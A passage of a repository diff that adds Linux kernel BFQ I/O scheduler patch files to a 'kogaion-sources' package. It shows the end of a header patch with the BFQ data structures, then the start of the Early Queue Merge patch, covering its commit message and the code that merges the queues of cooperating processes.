++ * @ttime_samples: number of thinktime samples
++ * @ttime_mean: average process thinktime
++ */
++struct bfq_ttime {
++	unsigned long last_end_request;
++
++	unsigned long ttime_total;
++	unsigned long ttime_samples;
++	unsigned long ttime_mean;
++};
++
++/**
++ * struct bfq_io_cq - per (request_queue, io_context) structure.
++ * @icq: associated io_cq structure
++ * @bfqq: array of two process queues, the sync and the async
++ * @ttime: associated @bfq_ttime struct
++ */
++struct bfq_io_cq {
++	struct io_cq icq; /* must be the first member */
++	struct bfq_queue *bfqq[2];
++	struct bfq_ttime ttime;
++	int ioprio;
++};
++
++/**
++ * struct bfq_data - per device data structure.
++ * @queue: request queue for the managed device.
++ * @root_group: root bfq_group for the device.
++ * @rq_pos_tree: rbtree sorted by next_request position,
++ *		used when determining if two or more queues
++ *		have interleaving requests (see bfq_close_cooperator).
++ * @busy_queues: number of bfq_queues containing requests (including the
++ *		 queue under service, even if it is idling).
++ * @raised_busy_queues: number of weight-raised busy bfq_queues.
++ * @queued: number of queued requests.
++ * @rq_in_driver: number of requests dispatched and waiting for completion.
++ * @sync_flight: number of sync requests in the driver.
++ * @max_rq_in_driver: max number of reqs in driver in the last @hw_tag_samples
++ *		      completed requests .
++ * @hw_tag_samples: nr of samples used to calculate hw_tag.
++ * @hw_tag: flag set to one if the driver is showing a queueing behavior.
++ * @budgets_assigned: number of budgets assigned.
++ * @idle_slice_timer: timer set when idling for the next sequential request
++ *                    from the queue under service.
++ * @unplug_work: delayed work to restart dispatching on the request queue.
++ * @in_service_queue: bfq_queue under service.
++ * @in_service_bic: bfq_io_cq (bic) associated with the @in_service_queue.
++ * @last_position: on-disk position of the last served request.
++ * @last_budget_start: beginning of the last budget.
++ * @last_idling_start: beginning of the last idle slice.
++ * @peak_rate: peak transfer rate observed for a budget.
++ * @peak_rate_samples: number of samples used to calculate @peak_rate.
++ * @bfq_max_budget: maximum budget allotted to a bfq_queue before rescheduling.
++ * @group_list: list of all the bfq_groups active on the device.
++ * @active_list: list of all the bfq_queues active on the device.
++ * @idle_list: list of all the bfq_queues idle on the device.
++ * @bfq_quantum: max number of requests dispatched per dispatch round.
++ * @bfq_fifo_expire: timeout for async/sync requests; when it expires
++ *                   requests are served in fifo order.
++ * @bfq_back_penalty: weight of backward seeks wrt forward ones.
++ * @bfq_back_max: maximum allowed backward seek.
++ * @bfq_slice_idle: maximum idling time.
++ * @bfq_user_max_budget: user-configured max budget value (0 for auto-tuning).
++ * @bfq_max_budget_async_rq: maximum budget (in nr of requests) allotted to
++ *                           async queues.
++ * @bfq_timeout: timeout for bfq_queues to consume their budget; used to
++ *               to prevent seeky queues to impose long latencies to well
++ *               behaved ones (this also implies that seeky queues cannot
++ *               receive guarantees in the service domain; after a timeout
++ *               they are charged for the whole allocated budget, to try
++ *               to preserve a behavior reasonably fair among them, but
++ *               without service-domain guarantees).
++ * @bfq_raising_coeff: Maximum factor by which the weight of a boosted
++ *                            queue is multiplied
++ * @bfq_raising_max_time: maximum duration of a weight-raising period (jiffies)
++ * @bfq_raising_rt_max_time: maximum duration for soft real-time processes
++ * @bfq_raising_min_idle_time: minimum idle period after which weight-raising
++ *			       may be reactivated for a queue (in jiffies)
++ * @bfq_raising_min_inter_arr_async: minimum period between request arrivals
++ *				     after which weight-raising may be
++ *				     reactivated for an already busy queue
++ *				     (in jiffies)
++ * @bfq_raising_max_softrt_rate: max service-rate for a soft real-time queue,
++ *			         sectors per seconds
++ * @RT_prod: cached value of the product R*T used for computing the maximum
++ *	     duration of the weight raising automatically
++ * @oom_bfqq: fallback dummy bfqq for extreme OOM conditions
++ *
++ * All the fields are protected by the @queue lock.
++ */
++struct bfq_data {
++	struct request_queue *queue;
++
++	struct bfq_group *root_group;
++
++	struct rb_root rq_pos_tree;
++
++	int busy_queues;
++	int raised_busy_queues;
++	int queued;
++	int rq_in_driver;
++	int sync_flight;
++
++	int max_rq_in_driver;
++	int hw_tag_samples;
++	int hw_tag;
++
++	int budgets_assigned;
++
++	struct timer_list idle_slice_timer;
++	struct work_struct unplug_work;
++
++	struct bfq_queue *in_service_queue;
++	struct bfq_io_cq *in_service_bic;
++
++	sector_t last_position;
++
++	ktime_t last_budget_start;
++	ktime_t last_idling_start;
++	int peak_rate_samples;
++	u64 peak_rate;
++	unsigned long bfq_max_budget;
++
++	struct hlist_head group_list;
++	struct list_head active_list;
++	struct list_head idle_list;
++
++	unsigned int bfq_quantum;
++	unsigned int bfq_fifo_expire[2];
++	unsigned int bfq_back_penalty;
++	unsigned int bfq_back_max;
++	unsigned int bfq_slice_idle;
++	u64 bfq_class_idle_last_service;
++
++	unsigned int bfq_user_max_budget;
++	unsigned int bfq_max_budget_async_rq;
++	unsigned int bfq_timeout[2];
++
++	bool low_latency;
++
++	/* parameters of the low_latency heuristics */
++	unsigned int bfq_raising_coeff;
++	unsigned int bfq_raising_max_time;
++	unsigned int bfq_raising_rt_max_time;
++	unsigned int bfq_raising_min_idle_time;
++	unsigned long bfq_raising_min_inter_arr_async;
++	unsigned int bfq_raising_max_softrt_rate;
++	u64 RT_prod;
++
++	struct bfq_queue oom_bfqq;
++};
++
++enum bfqq_state_flags {
++	BFQ_BFQQ_FLAG_busy = 0,		/* has requests or is under service */
++	BFQ_BFQQ_FLAG_wait_request,	/* waiting for a request */
++	BFQ_BFQQ_FLAG_must_alloc,	/* must be allowed rq alloc */
++	BFQ_BFQQ_FLAG_fifo_expire,	/* FIFO checked in this slice */
++	BFQ_BFQQ_FLAG_idle_window,	/* slice idling enabled */
++	BFQ_BFQQ_FLAG_prio_changed,	/* task priority has changed */
++	BFQ_BFQQ_FLAG_sync,		/* synchronous queue */
++	BFQ_BFQQ_FLAG_budget_new,	/* no completion with this budget */
++	BFQ_BFQQ_FLAG_coop,		/* bfqq is shared */
++	BFQ_BFQQ_FLAG_split_coop,	/* shared bfqq will be splitted */
++	BFQ_BFQQ_FLAG_softrt_update,	/* needs softrt-next-start update */
++};
++
++#define BFQ_BFQQ_FNS(name)						\
++static inline void bfq_mark_bfqq_##name(struct bfq_queue *bfqq)		\
++{									\
++	(bfqq)->flags |= (1 << BFQ_BFQQ_FLAG_##name);			\
++}									\
++static inline void bfq_clear_bfqq_##name(struct bfq_queue *bfqq)	\
++{									\
++	(bfqq)->flags &= ~(1 << BFQ_BFQQ_FLAG_##name);			\
++}									\
++static inline int bfq_bfqq_##name(const struct bfq_queue *bfqq)		\
++{									\
++	return ((bfqq)->flags & (1 << BFQ_BFQQ_FLAG_##name)) != 0;	\
++}
++
++BFQ_BFQQ_FNS(busy);
++BFQ_BFQQ_FNS(wait_request);
++BFQ_BFQQ_FNS(must_alloc);
++BFQ_BFQQ_FNS(fifo_expire);
++BFQ_BFQQ_FNS(idle_window);
++BFQ_BFQQ_FNS(prio_changed);
++BFQ_BFQQ_FNS(sync);
++BFQ_BFQQ_FNS(budget_new);
++BFQ_BFQQ_FNS(coop);
++BFQ_BFQQ_FNS(split_coop);
++BFQ_BFQQ_FNS(softrt_update);
++#undef BFQ_BFQQ_FNS
++
++/* Logging facilities. */
++#define bfq_log_bfqq(bfqd, bfqq, fmt, args...) \
++	blk_add_trace_msg((bfqd)->queue, "bfq%d " fmt, (bfqq)->pid, ##args)
++
++#define bfq_log(bfqd, fmt, args...) \
++	blk_add_trace_msg((bfqd)->queue, "bfq " fmt, ##args)
++
++/* Expiration reasons. */
++enum bfqq_expiration {
++	BFQ_BFQQ_TOO_IDLE = 0,		/* queue has been idling for too long */
++	BFQ_BFQQ_BUDGET_TIMEOUT,	/* budget took too long to be used */
++	BFQ_BFQQ_BUDGET_EXHAUSTED,	/* budget consumed */
++	BFQ_BFQQ_NO_MORE_REQUESTS,	/* the queue has no more requests */
++};
++
++#ifdef CONFIG_CGROUP_BFQIO
++/**
++ * struct bfq_group - per (device, cgroup) data structure.
++ * @entity: schedulable entity to insert into the parent group sched_data.
++ * @sched_data: own sched_data, to contain child entities (they may be
++ *              both bfq_queues and bfq_groups).
++ * @group_node: node to be inserted into the bfqio_cgroup->group_data
++ *              list of the containing cgroup's bfqio_cgroup.
++ * @bfqd_node: node to be inserted into the @bfqd->group_list list
++ *             of the groups active on the same device; used for cleanup.
++ * @bfqd: the bfq_data for the device this group acts upon.
++ * @async_bfqq: array of async queues for all the tasks belonging to
++ *              the group, one queue per ioprio value per ioprio_class,
++ *              except for the idle class that has only one queue.
++ * @async_idle_bfqq: async queue for the idle class (ioprio is ignored).
++ * @my_entity: pointer to @entity, %NULL for the toplevel group; used
++ *             to avoid too many special cases during group creation/migration.
++ *
++ * Each (device, cgroup) pair has its own bfq_group, i.e., for each cgroup
++ * there is a set of bfq_groups, each one collecting the lower-level
++ * entities belonging to the group that are acting on the same device.
++ *
++ * Locking works as follows:
++ *    o @group_node is protected by the bfqio_cgroup lock, and is accessed
++ *      via RCU from its readers.
++ *    o @bfqd is protected by the queue lock, RCU is used to access it
++ *      from the readers.
++ *    o All the other fields are protected by the @bfqd queue lock.
++ */
++struct bfq_group {
++	struct bfq_entity entity;
++	struct bfq_sched_data sched_data;
++
++	struct hlist_node group_node;
++	struct hlist_node bfqd_node;
++
++	void *bfqd;
++
++	struct bfq_queue *async_bfqq[2][IOPRIO_BE_NR];
++	struct bfq_queue *async_idle_bfqq;
++
++	struct bfq_entity *my_entity;
++};
++
++/**
++ * struct bfqio_cgroup - bfq cgroup data structure.
++ * @css: subsystem state for bfq in the containing cgroup.
++ * @weight: cgroup weight.
++ * @ioprio: cgroup ioprio.
++ * @ioprio_class: cgroup ioprio_class.
++ * @lock: spinlock that protects @ioprio, @ioprio_class and @group_data.
++ * @group_data: list containing the bfq_group belonging to this cgroup.
++ *
++ * @group_data is accessed using RCU, with @lock protecting the updates,
++ * @ioprio and @ioprio_class are protected by @lock.
++ */
++struct bfqio_cgroup {
++	struct cgroup_subsys_state css;
++
++	unsigned short weight, ioprio, ioprio_class;
++
++	spinlock_t lock;
++	struct hlist_head group_data;
++};
++#else
++struct bfq_group {
++	struct bfq_sched_data sched_data;
++
++	struct bfq_queue *async_bfqq[2][IOPRIO_BE_NR];
++	struct bfq_queue *async_idle_bfqq;
++};
++#endif
++
++static inline struct bfq_service_tree *
++bfq_entity_service_tree(struct bfq_entity *entity)
++{
++	struct bfq_sched_data *sched_data = entity->sched_data;
++	unsigned int idx = entity->ioprio_class - 1;
++
++	BUG_ON(idx >= BFQ_IOPRIO_CLASSES);
++	BUG_ON(sched_data == NULL);
++
++	return sched_data->service_tree + idx;
++}
++
++static inline struct bfq_queue *bic_to_bfqq(struct bfq_io_cq *bic,
++					    int is_sync)
++{
++	return bic->bfqq[!!is_sync];
++}
++
++static inline void bic_set_bfqq(struct bfq_io_cq *bic,
++				struct bfq_queue *bfqq, int is_sync)
++{
++	bic->bfqq[!!is_sync] = bfqq;
++}
++
++static inline struct bfq_data *bic_to_bfqd(struct bfq_io_cq *bic)
++{
++	return bic->icq.q->elevator->elevator_data;
++}
++
++/**
++ * bfq_get_bfqd_locked - get a lock to a bfqd using a RCU protected pointer.
++ * @ptr: a pointer to a bfqd.
++ * @flags: storage for the flags to be saved.
++ *
++ * This function allows bfqg->bfqd to be protected by the
++ * queue lock of the bfqd they reference; the pointer is dereferenced
++ * under RCU, so the storage for bfqd is assured to be safe as long
++ * as the RCU read side critical section does not end.  After the
++ * bfqd->queue->queue_lock is taken the pointer is rechecked, to be
++ * sure that no other writer accessed it.  If we raced with a writer,
++ * the function returns NULL, with the queue unlocked, otherwise it
++ * returns the dereferenced pointer, with the queue locked.
++ */
++static inline struct bfq_data *bfq_get_bfqd_locked(void **ptr,
++						   unsigned long *flags)
++{
++	struct bfq_data *bfqd;
++
++	rcu_read_lock();
++	bfqd = rcu_dereference(*(struct bfq_data **)ptr);
++
++	if (bfqd != NULL) {
++		spin_lock_irqsave(bfqd->queue->queue_lock, *flags);
++		if (*ptr == bfqd)
++			goto out;
++		spin_unlock_irqrestore(bfqd->queue->queue_lock, *flags);
++	}
++
++	bfqd = NULL;
++out:
++	rcu_read_unlock();
++	return bfqd;
++}
++
++static inline void bfq_put_bfqd_unlock(struct bfq_data *bfqd,
++				       unsigned long *flags)
++{
++	spin_unlock_irqrestore(bfqd->queue->queue_lock, *flags);
++}
++
++static void bfq_changed_ioprio(struct bfq_io_cq *bic);
++static void bfq_put_queue(struct bfq_queue *bfqq);
++static void bfq_dispatch_insert(struct request_queue *q, struct request *rq);
++static struct bfq_queue *bfq_get_queue(struct bfq_data *bfqd,
++				       struct bfq_group *bfqg, int is_sync,
++				       struct bfq_io_cq *bic, gfp_t gfp_mask);
++static void bfq_end_raising_async_queues(struct bfq_data *bfqd,
++					 struct bfq_group *bfqg);
++static void bfq_put_async_queues(struct bfq_data *bfqd, struct bfq_group *bfqg);
++static void bfq_exit_bfqq(struct bfq_data *bfqd, struct bfq_queue *bfqq);
++#endif
+-- 
+1.8.5.2
+
diff --git a/sys-kernel/kogaion-sources/files/desktop/0003-block-bfq-add-Early-Queue-Merge-EQM-to-BFQ-v7-for-3.10.0.patch b/sys-kernel/kogaion-sources/files/desktop/0003-block-bfq-add-Early-Queue-Merge-EQM-to-BFQ-v7-for-3.10.0.patch
new file mode 100644
index 00000000..ea585f02
--- /dev/null
+++ b/sys-kernel/kogaion-sources/files/desktop/0003-block-bfq-add-Early-Queue-Merge-EQM-to-BFQ-v7-for-3.10.0.patch
@@ -0,0 +1,1034 @@
+From efc499347ea3827417cf00718616bf61a090afec Mon Sep 17 00:00:00 2001
+From: Mauro Andreolini <mauro.andreolini@unimore.it>
+Date: Thu, 23 Jan 2014 16:54:44 +0100
+Subject: [PATCH 3/3] block, bfq: add Early Queue Merge (EQM) to BFQ-v7 for
+ 3.10.0
+
+A set of processes may happen  to  perform interleaved reads, i.e., requests
+whose union would give rise to a  sequential read  pattern.  There are two
+typical  cases: in the first  case,   processes  read  fixed-size chunks of
+data at a fixed distance from each other, while in the second case processes
+may read variable-size chunks at  variable distances. The latter case occurs
+for  example with  KVM, which  splits the  I/O generated  by the  guest into
+multiple chunks,  and lets these chunks  be served by a  pool of cooperating
+processes,  iteratively  assigning  the  next  chunk of  I/O  to  the first
+available  process. CFQ  uses actual  queue merging  for the  first type  of
+rocesses, whereas it  uses preemption to get a sequential  read pattern out
+of the read requests  performed by the second type of  processes. In the end
+it uses  two different  mechanisms to  achieve the  same goal: boosting the
+throughput with interleaved I/O.
+
+This patch introduces  Early Queue Merge (EQM), a unified mechanism to get a
+sequential  read pattern  with both  types of  processes. The  main idea  is
+checking newly arrived requests against the next request of the active queue
+both in case of actual request insert and in case of request merge. By doing
+so, both the types of processes can be handled by just merging their queues.
+EQM is  then simpler and  more compact than the  pair of mechanisms used in
+CFQ.
+
+Finally, EQM  also preserves the  typical low-latency properties of BFQ, by
+properly restoring the weight-raising state of  a queue when it gets back to
+a non-merged state.
+
+Signed-off-by: Mauro Andreolini <mauro.andreolini@unimore.it>
+Signed-off-by: Arianna Avanzini <avanzini.arianna@gmail.com>
+Reviewed-by: Paolo Valente <paolo.valente@unimore.it>
+---
+ block/bfq-iosched.c | 657 ++++++++++++++++++++++++++++++++++++----------------
+ block/bfq-sched.c   |  28 ---
+ block/bfq.h         |  16 ++
+ 3 files changed, 474 insertions(+), 227 deletions(-)
+
+diff --git a/block/bfq-iosched.c b/block/bfq-iosched.c
+index 96abb81..99083be6 100644
+--- a/block/bfq-iosched.c
++++ b/block/bfq-iosched.c
+@@ -445,6 +445,46 @@ static inline unsigned int bfq_wrais_duration(struct bfq_data *bfqd)
+ 	return dur;
+ }
+ 
++static inline void
++bfq_bfqq_resume_state(struct bfq_queue *bfqq, struct bfq_io_cq *bic)
++{
++	if (bic->saved_idle_window)
++		bfq_mark_bfqq_idle_window(bfqq);
++	else
++		bfq_clear_bfqq_idle_window(bfqq);
++	if (bic->raising_time_left && bfqq->bfqd->low_latency) {
++		/*
++		 * Start a weight raising period with the duration given by
++		 * the raising_time_left snapshot.
++		 */
++		if (bfq_bfqq_busy(bfqq))
++			bfqq->bfqd->raised_busy_queues++;
++		bfqq->raising_coeff = bfqq->bfqd->bfq_raising_coeff;
++		bfqq->raising_cur_max_time = bic->raising_time_left;
++		bfqq->last_rais_start_finish = jiffies;
++		bfqq->entity.ioprio_changed = 1;
++	}
++	/*
++	 * Clear raising_time_left to prevent bfq_bfqq_save_state() from
++	 * getting confused about the queue's need of a weight-raising
++	 * period.
++	 */
++	bic->raising_time_left = 0;
++}
++
++/*
++ * Must be called with the queue_lock held.
++ */
++static int bfqq_process_refs(struct bfq_queue *bfqq)
++{
++	int process_refs, io_refs;
++
++	io_refs = bfqq->allocated[READ] + bfqq->allocated[WRITE];
++	process_refs = atomic_read(&bfqq->ref) - io_refs - bfqq->entity.on_st;
++	BUG_ON(process_refs < 0);
++	return process_refs;
++}
++
+ static void bfq_add_rq_rb(struct request *rq)
+ {
+ 	struct bfq_queue *bfqq = RQ_BFQQ(rq);
+@@ -486,12 +526,20 @@ static void bfq_add_rq_rb(struct request *rq)
+ 		if (!bfqd->low_latency)
+ 			goto add_bfqq_busy;
+ 
++		if (bfq_bfqq_just_split(bfqq))
++			goto set_ioprio_changed;
++
+ 		/*
+-		 * If the queue is not being boosted and has been idle
+-		 * for enough time, start a weight-raising period
++		 * If the queue:
++		 * - is not being boosted,
++		 * - has been idle for enough time,
++		 * - is not a sync queue or is linked to a bfq_io_cq (it is
++		 *   shared "for its nature" or it is not shared and its
++		 *   requests have not been redirected to a shared queue)
++		 * start a weight-raising period.
+ 		 */
+-		if (old_raising_coeff == 1 &&
+-		    (idle_for_long_time || soft_rt)) {
++		if (old_raising_coeff == 1 && (idle_for_long_time || soft_rt) &&
++		    (!bfq_bfqq_sync(bfqq) || bfqq->bic != NULL)) {
+ 			bfqq->raising_coeff = bfqd->bfq_raising_coeff;
+ 			if (idle_for_long_time)
+ 				bfqq->raising_cur_max_time =
+@@ -572,6 +620,7 @@ static void bfq_add_rq_rb(struct request *rq)
+ 					bfqd->bfq_raising_rt_max_time;
+ 			}
+ 		}
++set_ioprio_changed:
+ 		if (old_raising_coeff != bfqq->raising_coeff)
+ 			entity->ioprio_changed = 1;
+ add_bfqq_busy:
+@@ -754,90 +803,35 @@ static void bfq_end_raising(struct bfq_data *bfqd)
+ 	spin_unlock_irq(bfqd->queue->queue_lock);
+ }
+ 
+-static int bfq_allow_merge(struct request_queue *q, struct request *rq,
+-			   struct bio *bio)
+-{
+-	struct bfq_data *bfqd = q->elevator->elevator_data;
+-	struct bfq_io_cq *bic;
+-	struct bfq_queue *bfqq;
+-
+-	/*
+-	 * Disallow merge of a sync bio into an async request.
+-	 */
+-	if (bfq_bio_sync(bio) && !rq_is_sync(rq))
+-		return 0;
+-
+-	/*
+-	 * Lookup the bfqq that this bio will be queued with. Allow
+-	 * merge only if rq is queued there.
+-	 * Queue lock is held here.
+-	 */
+-	bic = bfq_bic_lookup(bfqd, current->io_context);
+-	if (bic == NULL)
+-		return 0;
+-
+-	bfqq = bic_to_bfqq(bic, bfq_bio_sync(bio));
+-	return bfqq == RQ_BFQQ(rq);
+-}
+-
+-static void __bfq_set_in_service_queue(struct bfq_data *bfqd,
+-				       struct bfq_queue *bfqq)
+-{
+-	if (bfqq != NULL) {
+-		bfq_mark_bfqq_must_alloc(bfqq);
+-		bfq_mark_bfqq_budget_new(bfqq);
+-		bfq_clear_bfqq_fifo_expire(bfqq);
+-
+-		bfqd->budgets_assigned = (bfqd->budgets_assigned*7 + 256) / 8;
+-
+-		bfq_log_bfqq(bfqd, bfqq,
+-			     "set_in_service_queue, cur-budget = %lu",
+-			     bfqq->entity.budget);
+-	}
+-
+-	bfqd->in_service_queue = bfqq;
+-}
+-
+-/*
+- * Get and set a new queue for service.
+- */
+-static struct bfq_queue *bfq_set_in_service_queue(struct bfq_data *bfqd,
+-						  struct bfq_queue *bfqq)
++static inline sector_t bfq_io_struct_pos(void *io_struct, bool request)
+ {
+-	if (!bfqq)
+-		bfqq = bfq_get_next_queue(bfqd);
++	if (request)
++		return blk_rq_pos(io_struct);
+ 	else
+-		bfq_get_next_queue_forced(bfqd, bfqq);
+-
+-	__bfq_set_in_service_queue(bfqd, bfqq);
+-	return bfqq;
++		return ((struct bio *)io_struct)->bi_sector;
+ }
+ 
+-static inline sector_t bfq_dist_from_last(struct bfq_data *bfqd,
+-					  struct request *rq)
++static inline sector_t bfq_dist_from(sector_t pos1,
++				     sector_t pos2)
+ {
+-	if (blk_rq_pos(rq) >= bfqd->last_position)
+-		return blk_rq_pos(rq) - bfqd->last_position;
++	if (pos1 >= pos2)
++		return pos1 - pos2;
+ 	else
+-		return bfqd->last_position - blk_rq_pos(rq);
++		return pos2 - pos1;
+ }
+ 
+-/*
+- * Return true if bfqq has no request pending and rq is close enough to
+- * bfqd->last_position, or if rq is closer to bfqd->last_position than
+- * bfqq->next_rq
+- */
+-static inline int bfq_rq_close(struct bfq_data *bfqd, struct request *rq)
++static inline int bfq_rq_close_to_sector(void *io_struct, bool request,
++					 sector_t sector)
+ {
+-	return bfq_dist_from_last(bfqd, rq) <= BFQQ_SEEK_THR;
++	return bfq_dist_from(bfq_io_struct_pos(io_struct, request), sector) <=
++	       BFQQ_SEEK_THR;
+ }
+ 
+-static struct bfq_queue *bfqq_close(struct bfq_data *bfqd)
++static struct bfq_queue *bfqq_close(struct bfq_data *bfqd, sector_t sector)
+ {
+ 	struct rb_root *root = &bfqd->rq_pos_tree;
+ 	struct rb_node *parent, *node;
+ 	struct bfq_queue *__bfqq;
+-	sector_t sector = bfqd->last_position;
+ 
+ 	if (RB_EMPTY_ROOT(root))
+ 		return NULL;
+@@ -856,7 +850,7 @@ static struct bfq_queue *bfqq_close(struct bfq_data *bfqd)
+ 	 * position).
+ 	 */
+ 	__bfqq = rb_entry(parent, struct bfq_queue, pos_node);
+-	if (bfq_rq_close(bfqd, __bfqq->next_rq))
++	if (bfq_rq_close_to_sector(__bfqq->next_rq, true, sector))
+ 		return __bfqq;
+ 
+ 	if (blk_rq_pos(__bfqq->next_rq) < sector)
+@@ -867,7 +861,7 @@ static struct bfq_queue *bfqq_close(struct bfq_data *bfqd)
+ 		return NULL;
+ 
+ 	__bfqq = rb_entry(node, struct bfq_queue, pos_node);
+-	if (bfq_rq_close(bfqd, __bfqq->next_rq))
++	if (bfq_rq_close_to_sector(__bfqq->next_rq, true, sector))
+ 		return __bfqq;
+ 
+ 	return NULL;
+@@ -876,14 +870,12 @@ static struct bfq_queue *bfqq_close(struct bfq_data *bfqd)
+ /*
+  * bfqd - obvious
+  * cur_bfqq - passed in so that we don't decide that the current queue
+- *            is closely cooperating with itself.
+- *
+- * We are assuming that cur_bfqq has dispatched at least one request,
+- * and that bfqd->last_position reflects a position on the disk associated
+- * with the I/O issued by cur_bfqq.
++ *            is closely cooperating with itself
++ * sector - used as a reference point to search for a close queue
+  */
+ static struct bfq_queue *bfq_close_cooperator(struct bfq_data *bfqd,
+-					      struct bfq_queue *cur_bfqq)
++					      struct bfq_queue *cur_bfqq,
++					      sector_t sector)
+ {
+ 	struct bfq_queue *bfqq;
+ 
+@@ -903,7 +895,7 @@ static struct bfq_queue *bfq_close_cooperator(struct bfq_data *bfqd,
+ 	 * working closely on the same area of the disk. In that case,
+ 	 * we can group them together and don't waste time idling.
+ 	 */
+-	bfqq = bfqq_close(bfqd);
++	bfqq = bfqq_close(bfqd, sector);
+ 	if (bfqq == NULL || bfqq == cur_bfqq)
+ 		return NULL;
+ 
+@@ -930,6 +922,282 @@ static struct bfq_queue *bfq_close_cooperator(struct bfq_data *bfqd,
+ 	return bfqq;
+ }
+ 
++static struct bfq_queue *
++bfq_setup_merge(struct bfq_queue *bfqq, struct bfq_queue *new_bfqq)
++{
++	int process_refs, new_process_refs;
++	struct bfq_queue *__bfqq;
++
++	/*
++	 * If there are no process references on the new_bfqq, then it is
++	 * unsafe to follow the ->new_bfqq chain as other bfqq's in the chain
++	 * may have dropped their last reference (not just their last process
++	 * reference).
++	 */
++	if (!bfqq_process_refs(new_bfqq))
++		return NULL;
++
++	/* Avoid a circular list and skip interim queue merges. */
++	while ((__bfqq = new_bfqq->new_bfqq)) {
++		if (__bfqq == bfqq)
++			return NULL;
++		new_bfqq = __bfqq;
++	}
++
++	process_refs = bfqq_process_refs(bfqq);
++	new_process_refs = bfqq_process_refs(new_bfqq);
++	/*
++	 * If the process for the bfqq has gone away, there is no
++	 * sense in merging the queues.
++	 */
++	if (process_refs == 0 || new_process_refs == 0)
++		return NULL;
++
++	bfq_log_bfqq(bfqq->bfqd, bfqq, "scheduling merge with queue %d",
++		new_bfqq->pid);
++
++	/*
++	 * Merging is just a redirection: the requests of the process owning
++	 * one of the two queues are redirected to the other queue. The latter
++	 * queue, in its turn, is set as shared if this is the first time that
++	 * the requests of some process are redirected to it.
++	 *
++	 * We redirect bfqq to new_bfqq and not the opposite, because we
++	 * are in the context of the process owning bfqq, hence we have the
++	 * io_cq of this process. So we can immediately configure this io_cq
++	 * to redirect the requests of the process to new_bfqq.
++	 *
++	 * NOTE, even if new_bfqq coincides with the in-service queue, the
++	 * io_cq of new_bfqq is not available, because, if the in-service queue
++	 * is shared, bfqd->in_service_bic may not point to the io_cq of the
++	 * in-service queue.
++	 * Redirecting the requests of the process owning bfqq to the currently
++	 * in-service queue is in any case the best option, as we feed the
++	 * in-service queue with new requests close to the last request served
++	 * and, by doing so, hopefully increase the throughput.
++	 */
++	bfqq->new_bfqq = new_bfqq;
++	atomic_add(process_refs, &new_bfqq->ref);
++	return new_bfqq;
++}
++
++/*
++ * Attempt to schedule a merge of bfqq with the currently in-service queue or
++ * with a close queue among the scheduled queues.
++ * Return NULL if no merge was scheduled, a pointer to the shared bfq_queue
++ * structure otherwise.
++ */
++static struct bfq_queue *
++bfq_setup_cooperator(struct bfq_data *bfqd, struct bfq_queue *bfqq,
++		     void *io_struct, bool request)
++{
++	struct bfq_queue *in_service_bfqq, *new_bfqq;
++
++	if (bfqq->new_bfqq)
++		return bfqq->new_bfqq;
++
++	if (!io_struct)
++		return NULL;
++
++	in_service_bfqq = bfqd->in_service_queue;
++
++	if (in_service_bfqq == NULL || in_service_bfqq == bfqq ||
++	    !bfqd->in_service_bic)
++		goto check_scheduled;
++
++	if (bfq_class_idle(in_service_bfqq) || bfq_class_idle(bfqq))
++		goto check_scheduled;
++
++	if (bfq_class_rt(in_service_bfqq) != bfq_class_rt(bfqq))
++		goto check_scheduled;
++
++	if (in_service_bfqq->entity.parent != bfqq->entity.parent)
++		goto check_scheduled;
++
++	if (bfq_rq_close_to_sector(io_struct, request, bfqd->last_position) &&
++	    bfq_bfqq_sync(in_service_bfqq) && bfq_bfqq_sync(bfqq)) {
++		new_bfqq = bfq_setup_merge(bfqq, in_service_bfqq);
++		if (new_bfqq != NULL)
++			return new_bfqq; /* Merge with the in-service queue */
++	}
++
++	/*
++	 * Check whether there is a cooperator among currently scheduled
++	 * queues. The only thing we need is that the bio/request is not
++	 * NULL, as we need it to establish whether a cooperator exists.
++	 */
++check_scheduled:
++	new_bfqq = bfq_close_cooperator(bfqd, bfqq,
++					bfq_io_struct_pos(io_struct, request));
++	if (new_bfqq)
++		return bfq_setup_merge(bfqq, new_bfqq);
++
++	return NULL;
++}
++
++static inline void
++bfq_bfqq_save_state(struct bfq_queue *bfqq)
++{
++	/*
++	 * If bfqq->bic == NULL, the queue is already shared or its requests
++	 * have already been redirected to a shared queue; both idle window
++	 * and weight raising state have already been saved. Do nothing.
++	 */
++	if (bfqq->bic == NULL)
++		return;
++	if (bfqq->bic->raising_time_left)
++		/*
++		 * This is the queue of a just-started process, and would
++		 * deserve weight raising: we set raising_time_left to the full
++		 * weight-raising duration to trigger weight-raising when and
++		 * if the queue is split and the first request of the queue
++		 * is enqueued.
++		 */
++		bfqq->bic->raising_time_left = bfq_wrais_duration(bfqq->bfqd);
++	else if (bfqq->raising_coeff > 1) {
++		unsigned long wrais_duration =
++			jiffies - bfqq->last_rais_start_finish;
++		/*
++		 * It may happen that a queue's weight raising period lasts
++		 * longer than its raising_cur_max_time, as weight raising is
++		 * handled only when a request is enqueued or dispatched (it
++		 * does not use any timer). If the weight raising period is
++		 * about to end, don't save it.
++		 */
++		if (bfqq->raising_cur_max_time <= wrais_duration)
++			bfqq->bic->raising_time_left = 0;
++		else
++			bfqq->bic->raising_time_left =
++				bfqq->raising_cur_max_time - wrais_duration;
++		/*
++		 * The bfq_queue is becoming shared or the requests of the
++		 * process owning the queue are being redirected to a shared
++		 * queue. Stop the weight raising period of the queue, as in
++		 * both cases it should not be owned by an interactive or soft
++		 * real-time application.
++		 */
++		bfq_bfqq_end_raising(bfqq);
++	} else
++		bfqq->bic->raising_time_left = 0;
++	bfqq->bic->saved_idle_window = bfq_bfqq_idle_window(bfqq);
++}
++
++static inline void
++bfq_get_bic_reference(struct bfq_queue *bfqq)
++{
++	/*
++	 * If bfqq->bic has a non-NULL value, the bic to which it belongs
++	 * is about to begin using a shared bfq_queue.
++	 */
++	if (bfqq->bic)
++		atomic_long_inc(&bfqq->bic->icq.ioc->refcount);
++}
++
++static void
++bfq_merge_bfqqs(struct bfq_data *bfqd, struct bfq_io_cq *bic,
++		struct bfq_queue *bfqq, struct bfq_queue *new_bfqq)
++{
++	bfq_log_bfqq(bfqd, bfqq, "merging with queue %lu",
++		(long unsigned)new_bfqq->pid);
++	/* Save weight raising and idle window of the merged queues */
++	bfq_bfqq_save_state(bfqq);
++	bfq_bfqq_save_state(new_bfqq);
++	/*
++	 * Grab a reference to the bic, to prevent it from being destroyed
++	 * before being possibly touched by a bfq_split_bfqq().
++	 */
++	bfq_get_bic_reference(bfqq);
++	bfq_get_bic_reference(new_bfqq);
++	/* Merge queues (that is, let bic redirect its requests to new_bfqq) */
